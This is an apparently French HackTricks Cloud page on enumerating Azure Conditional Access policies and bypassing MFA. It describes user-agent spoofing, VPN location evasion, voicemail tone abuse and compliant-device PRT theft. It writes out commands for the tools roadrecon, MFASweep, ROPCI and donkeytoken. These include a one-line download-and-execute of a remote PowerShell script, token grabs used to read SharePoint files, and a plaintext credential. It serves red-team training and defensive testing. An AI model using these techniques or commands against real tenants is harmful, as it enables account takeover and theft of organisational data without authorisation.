Az - Conditional Access Policies & MFA Bypass
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Les Azure Conditional Access policies sont des rĂšgles configurĂ©es dans Microsoft Azure pour appliquer des contrĂŽles dâaccĂšs aux services et applications Azure en fonction de certaines conditions. Ces policies aident les organisations Ă sĂ©curiser leurs ressources en appliquant les contrĂŽles dâaccĂšs appropriĂ©s selon les circonstances.
Les Conditional access policies dĂ©finissent essentiellement Qui peut accĂ©der Quoi depuis OĂč et Comment.
Voici quelques exemples :
- Sign-In Risk Policy : cette policy peut ĂȘtre configurĂ©e pour exiger une authentification multifacteur (MFA) lorsquâun risque de connexion est dĂ©tectĂ©. Par exemple, si le comportement de connexion dâun utilisateur est inhabituel par rapport Ă son modĂšle habituel, comme une connexion depuis un autre pays, le systĂšme peut demander une authentification supplĂ©mentaire.
- Device Compliance Policy : cette policy peut restreindre lâaccĂšs aux services Azure uniquement aux appareils conformes aux normes de sĂ©curitĂ© de lâorganisation. Par exemple, lâaccĂšs pourrait ĂȘtre autorisĂ© uniquement depuis des appareils disposant dâun antivirus Ă jour ou exĂ©cutant une certaine version du systĂšme dâexploitation.
ĂnumĂ©ration
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Contournements des politiques dâaccĂšs conditionnel
Il est possible quâune politique dâaccĂšs conditionnel vĂ©rifie des informations qui peuvent ĂȘtre facilement falsifiĂ©es, permettant ainsi un contournement de la politique. Et si par exemple la politique configurait la MFA, lâattaquant pourra la contourner.
Lors de la configuration dâune politique dâaccĂšs conditionnel il faut indiquer les utilisateurs affectĂ©s et les ressources cibles (comme all cloud apps).
Il faut aussi configurer les conditions qui vont déclencher la politique :
- Network: Ip, IP ranges and geographical locations
- Peut ĂȘtre contournĂ© en utilisant un VPN ou un proxy pour se connecter depuis un pays autorisĂ© ou en rĂ©ussissant Ă se connecter depuis une adresse IP autorisĂ©e
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- Si âAny deviceâ nâest pas sĂ©lectionnĂ© mais que toutes les autres options le sont, il est possible de le contourner en utilisant un user-agent alĂ©atoire non liĂ© Ă ces plateformes
- Client apps: Option are âBrowserâ, âMobiles apps and desktop clientsâ, âExchange ActiveSync clientsâ and Other clientsâ
- Pour contourner, se connecter avec une option qui nâest pas sĂ©lectionnĂ©e
- Filter for devices: Il est possible de gĂ©nĂ©rer une rĂšgle liĂ©e Ă lâappareil utilisĂ©
- Authentication flows: Options are âDevice code flowâ and âAuthentication transferâ
- Cela nâaffectera pas un attacker Ă moins quâil nâessaie dâabuser de lâun de ces protocoles dans une tentative de phishing pour accĂ©der au compte de la victime
Les rĂ©sultats possibles sont : Bloquer ou Accorder lâaccĂšs avec des conditions potentielles comme exiger la MFA, que lâappareil soit compliantâŠ
Device Platforms - Device Condition
Il est possible de dĂ©finir une condition basĂ©e sur la plateforme de lâappareil (Android, iOS, Windows, macOSâŠ), cependant, cela se base sur le user-agent donc câest facile Ă contourner. MĂȘme en exigeant la MFA pour toutes les options, si vous utilisez un user-agent qui nâest pas reconnu, vous pourrez contourner la MFA ou le blocage :
.png)
Il suffit que le navigateur envoie un user-agent inconnu (comme Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) pour ne pas déclencher cette condition.
Vous pouvez changer le user agent manuellement dans les outils de développement :
.png)
Ou utiliser une browser extension like this one.
Locations: Countries, IP ranges - Device Condition
Si cela est dĂ©fini dans la politique conditionnelle, un attacker peut simplement utiliser un VPN dans le pays autorisĂ© ou essayer de trouver un moyen dâaccĂ©der depuis une adresse IP autorisĂ©e pour contourner ces conditions.
Cloud Apps
Il est possible de configurer des politiques dâaccĂšs conditionnel pour bloquer ou forcer, par exemple, la MFA lorsquâun utilisateur tente dâaccĂ©der Ă une application spĂ©cifique :
.png)
Pour essayer de contourner cette protection, vous devez voir si vous pouvez seulement into any application.
Lâoutil AzureAppsSweep contient des dizaines dâIDs dâapplications en dur et tentera de se connecter Ă celles-ci, vous informera et vous donnera mĂȘme le token si rĂ©ussi.
Pour tester des IDs dâapplication spĂ©cifiques dans des ressources spĂ©cifiques vous pouvez aussi utiliser un outil tel que :
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
De plus, il est aussi possible de protĂ©ger la mĂ©thode de connexion (par ex. si vous tentez de vous connecter depuis le navigateur ou depuis une application desktop). Lâoutil Invoke-MFASweep effectue quelques vĂ©rifications pour tenter de contourner ces protections.
Lâoutil donkeytoken peut aussi ĂȘtre utilisĂ© Ă des fins similaires, bien quâil semble non maintenu.
Lâoutil ROPCI peut Ă©galement ĂȘtre utilisĂ© pour tester ces protections et vĂ©rifier sâil est possible de contourner les MFA ou les blocages, mais cet outil fonctionne selon une perspective whitebox. Vous devez dâabord tĂ©lĂ©charger la liste des Apps autorisĂ©es dans le tenant, puis il tentera de sây connecter.
Autres contournements MFA Az
Sonnerie
Une option dâAzure MFA est de recevoir un appel sur le numĂ©ro de tĂ©lĂ©phone configurĂ© oĂč il sera demandĂ© Ă lâutilisateur dâenvoyer le caractĂšre #.
Caution
Comme les caractÚres ne sont que des tonalités, un attaquant pourrait compromettre le message de boßte vocale du numéro, configurer comme message la tonalité de
#, puis, lors de la demande MFA, sâassurer que le tĂ©lĂ©phone de la victime est occupĂ© (en lâappelant) pour que lâappel Azure soit redirigĂ© vers la messagerie vocale.
Appareils conformes
Les politiques demandent souvent un appareil conforme ou un MFA, donc un attaquant pourrait enregistrer un appareil conforme, obtenir un PRT et contourner ainsi le MFA.
Commencez par enregistrer un appareil conforme dans Intune, puis obtenez le PRT avec :
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Trouvez plus dâinformations sur ce type dâattaque sur la page suivante :
Az - Primary Refresh Token (PRT)
Outils
AzureAppsSweep
Ce script rĂ©cupĂšre des identifiants utilisateur et vĂ©rifie sâil peut se connecter Ă certaines applications.
Ceci est utile pour vĂ©rifier si vous nâĂȘtes pas obligĂ© dâutiliser MFA pour vous connecter Ă certaines applications que vous pourriez ensuite abuser pour escalate privileges.
roadrecon
RécupÚre toutes les politiques
roadrecon plugin policies
Invoke-MFASweep
MFASweep est un script PowerShell qui tente de se connecter Ă divers services Microsoft en utilisant un jeu dâidentifiants fournis et dâidentifier si MFA est activĂ©. Selon la configuration des conditional access policies et des autres paramĂštres dâauthentification multi-facteurs, certains protocoles peuvent rester Ă un seul facteur. Il inclut aussi une vĂ©rification supplĂ©mentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS on-prem si celui-ci est dĂ©tectĂ©.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Cet outil a aidĂ© Ă identifier des MFA bypasses puis Ă abuser des APIs dans plusieurs locataires AAD en production, oĂč des clients AAD croyaient que le MFA Ă©tait appliquĂ©, mais lâauthentification basĂ©e sur ROPC a rĂ©ussi.
Tip
Vous devez disposer des autorisations pour lister toutes les applications afin de pouvoir générer la liste des apps à brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token est un ensemble de fonctions visant à aider les consultants en sécurité qui doivent valider les Conditional Access Policies, effectuer des tests pour les portails Microsoft avec 2FA activé, etc.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Testez chaque portail pour vĂ©rifier sâil est possible de login sans MFA:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Parce que le Azure portal nâest pas restreint, il est possible de rĂ©cupĂ©rer un token depuis lâendpoint du portal pour accĂ©der Ă nâimporte quel service dĂ©tectĂ© par lâexĂ©cution prĂ©cĂ©dente. Dans ce cas Sharepoint a Ă©tĂ© identifiĂ©, et un token pour y accĂ©der est demandĂ©:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Si le token possĂšde la permission Sites.Read.All (de Sharepoint), mĂȘme si vous ne pouvez pas accĂ©der Ă Sharepoint via le web Ă cause de MFA, il est possible dâutiliser le token gĂ©nĂ©rĂ© pour accĂ©der aux fichiers :
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

